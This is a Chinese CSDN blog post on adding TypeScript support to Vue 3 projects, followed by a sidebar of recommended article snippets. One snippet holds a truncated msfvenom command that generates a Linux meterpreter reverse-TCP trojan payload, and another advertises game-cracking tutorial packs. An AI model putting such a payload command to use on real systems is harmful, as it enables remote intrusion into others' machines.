Vue 3系列之03——Vue 3使用TypeScript_vue3 typescript-程序员宅基地

技术标签: Vue  vue  vue.js  vue3  vue.js3  

随着应用规模的增长,越来越多的开发者认识到静态语言的好处。静态类型系统可以帮助防止许多潜在的运行时错误,这就是为什么Vue 3是用TypeScript编写的。这意味着在Vue应用开发中,使用TypeScript进行开发不需要任何其他工具。TypeScript在Vue 3世界中是一等公民。

有两种方式,可以实现在Vue 3应用中支持使用TypeScript。

1.   基于Vue 3 Preview创建的项目

如果是选择Vue 3模板“Vue 3 Preview”进行项目创建,正如前文hello-world应用那样,则可以采用如下的步骤实现对TypeScript的支持。

在应用的根目录下执行如下命令:

vue add typescript

此时,在命令行会出现提示框,根据提示选择即可。这里都是选“Y”即可,看到如下输出内容,则证明已经完成。

2.   Manually select features(手动选择)方式

如果是采用Manually select features(手动选择)方式创建应用,则直接可以选择TypeScript作为支持选项。具体步骤如下。

选择“TypeScript”,而后回车。

选择“3.x (Preview)”,而后回车。

 

3.   TypeScript应用的差异

相比于JavaScript的应用而言,TypeScript的应用的目录结构如下。

 

l  多了TypeScript语言的配置文件tsconfig.json

l  package.json和package-lock.json中多了对TypeScript等依赖的描述

l  main.js改为了main.ts

l  多了shims-vue.d.ts文件

l  所有在Vue组件中使用JavaScript的地方,都改为了TypeScript

参考引用

  1. 本系列归档至《跟老卫学Vue.js开发》:GitHub - waylau/vuejs-enterprise-application-development: Vue.js Enterprise Application Development. 《跟老卫学Vue.js开发》/《Vue.js 3企业级应用开发实战》源码
  2. 参考书籍《Vue.js 3企业级应用开发实战》:《Vue.js 3企业级应用开发实战(双色版)(博文视点出品)》(柳伟卫)【摘要 书评 试读】- 京东图书
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/kkkloveyou/article/details/123743445

智能推荐

整个元素周期表通用,AI 即时预测材料结构与特性-程序员宅基地

文章浏览阅读264次。编辑 | 绿萝材料的性质由其原子排列决定。然而,现有的获得这种排列的方法要么过于昂贵,要么对许多元素无效。现在,加州大学圣地亚哥分校纳米工程系的研究人员开发了一种人工智能算法,可以几乎即时地预测任何材料(无论是现有材料还是新材料)的结构和动态特性。该算法被称为 M3GNet,用于开发 matterverse.ai 数据库,该数据库包含超过 3100 万种尚未合成的材料,其特性由机器学习算法预测。M..._人工智能预测材料属性

Docker & Nvidia-docker 镜像基础操作_dokcer怎么使用nvidia作为基础镜像-程序员宅基地

文章浏览阅读5.8k次,点赞2次,收藏25次。简述 docker & nvidia-docker感觉是深度学习的环境配置与部署简化很多,下面记录一下基础的命令,为自己后续用到查阅。在使用之前请先安装好NVIDIA驱动,CUDA以及docker & nvidia-docker的基本环境。docker & nvidia-docker 导入与导出镜像导出镜像:nvidia-docker save -o /save_p..._dokcer怎么使用nvidia作为基础镜像

测试生成攻击Linux操作系统的木马命令_linux msfvenom -p linux/x64/meterpreter/reverse_tc-程序员宅基地

文章浏览阅读312次,点赞6次,收藏9次。你看你以为黑客有多牛呢,都是在利用别人的工具呢。_linux msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=你的 ip lport=你监

12款程序员专用chrome插件神器推荐_谷歌按键精灵插件中文-程序员宅基地

文章浏览阅读2.8k次。前言对于从事IT行业的我们来说,几乎无时无刻都在用chrome浏览器,因为它给我们的工作和生活带来了极大的便利。今天给大家分享11款牛逼的chrome插件。1. 谷歌翻译很多小伙伴,英语不太好,包括我自己,英语刚过四级。从事软件相关工作时,有时有些吃力,因为很多优秀的技术网站、书籍或者文章都是老外写的,如果因为看不懂就放弃阅读,我们将会少了很多学习和进步的机会。今天分享的第一个神器就是:谷歌翻译。在没使用谷歌翻译之前,访问https://docs.mongodb.com/drivers/java/_谷歌按键精灵插件中文

python如何做抢东西软件,python爬虫小程序抢购-程序员宅基地

文章浏览阅读749次,点赞28次,收藏20次。每到双十一,各位男性朋友们就要大吐血了,万一女朋友想要的东西还没有抢到,就要更加…所以我便创造了这个自动抢购的脚本,希望对你们有用① Python所有方向的学习路线图,清楚各个方向要学什么东西② 600多节Python课程视频,涵盖必备基础、爬虫和数据分析③ 100多个Python实战案例,含50个超大型项目详解,学习不再是只会理论④ 20款主流手游迫解 爬虫手游逆行迫解教程包⑤ 爬虫与反爬虫攻防教程包,含15个大型网站迫解⑥ 爬虫APP逆向实战教程包,含45项绝密技术详解。

BeautifulSoup库的使用-程序员宅基地

文章浏览阅读328次。1.简介BeautifulSoup库也是一个HTML/XML的解析器,其使用起来很简单,但是其实解析网站用xpath和re已经足矣,这个库其实很少用到。因为其占用内存资源还是比xpath更高。'''BeautifulSoup库和lxml一样,BeautifulSoup也是一个HTML/XML的解析器,主要的功能也是解析和提取HTML/XML数据。LXML只会局..._src="//vm.gtimg.cn/tencentvideo/txp/js/plugins/uiwindowfullscreen.e86410.js?

随便推点

Ubuntu 使用命令向QQ邮箱发送邮件_linux mailutils设置发送邮箱-程序员宅基地

文章浏览阅读3.4w次,点赞6次,收藏9次。1、安装heirloom-mailxsudo apt-get install heirloom-mailx2. 修改/etc/s-nail.rc中来添加外部SMTP服务器如下:这是个只读文件,先改权限: sudo chmod 777 /etc/s-nail.rc在普通用户下执行:vim /etc/s-nail.rc在文件最后加上:【把××××××××××换成你的邮箱地址】set from=××××××××××@qq.comset smtp=smtps://s_linux mailutils设置发送邮箱

python实现感知器模型_感知器python-程序员宅基地

文章浏览阅读157次。在训练过程中,每个迭代步骤都会输出当前的损失函数值和超平面的权重和偏置。在本例中,使用了三个数据点进行训练,因此可以得到多个超平面来进行分类。最终,训练后的超平面参数被输出,可以用于测试新的数据点。_感知器python

python修改ABAQUS的inp计算文件_python修改abaqus的inp文件的热导率-程序员宅基地

文章浏览阅读1.5k次。python修改ABAQUS的inp计算文件这里的函数可以与上一个博客Matlab-python-ABAQUS数据交互及联合使用的函数接口相互配合和集成,实现matlab与Abaqus进行联合仿真计算,大体思路如下图所示。在这里插入图片描述因此这里matlab和python各写一个接口函数,实现对数据的处理。matlab函数function modify(Path,InpFile,NewData)%modify.m%libing403,2017-05-09ReqFile=[Path,’\mo_python修改abaqus的inp文件的热导率

传统的时序模型预测_时序模型预测法-程序员宅基地

文章浏览阅读8.2k次,点赞8次,收藏49次。1)平滑法2)趋势拟合法3)组合模型4)AR模型5)MA模型 6)ARMA模型7)ARIMA模型8)ARCH模型和GARCH模型周五听了一讲报告,报告中老师讲述了传统的时序模型预测问题,因为认真的记录了笔记,所以利用今天时间整理出来,供以后学习作参考。传统的时序模型预测问题一共有8类模型:1)平滑法平滑法常用于趋势分析和预..._时序模型预测法

通过SecureCRT在开发板与电脑端传输文件_64位核心使用crt串口线烧写上传文件格式为-程序员宅基地

文章浏览阅读1.7k次。电脑上传文件到开发板:rz 命令开发板下载文件电脑端:sz +文件名_64位核心使用crt串口线烧写上传文件格式为

利用pdf2swf将PDF转换成SWF-程序员宅基地

文章浏览阅读1.8w次,点赞5次,收藏7次。将PDF转换成SWF可以使用SWFTools工具中的pdf2swf(http://www.swftools.org/),CSDN快速免积分下载地址XXX一个简单的将PDF文档转成SWF的用法:C:\SWFTools\pdf2swf example.pdf -o example.swf -f -T 91、首先下载安装,一直默认下一步即可。2、java代码import java.io.Buffered_pdf2swf

推荐文章

热门文章

相关标签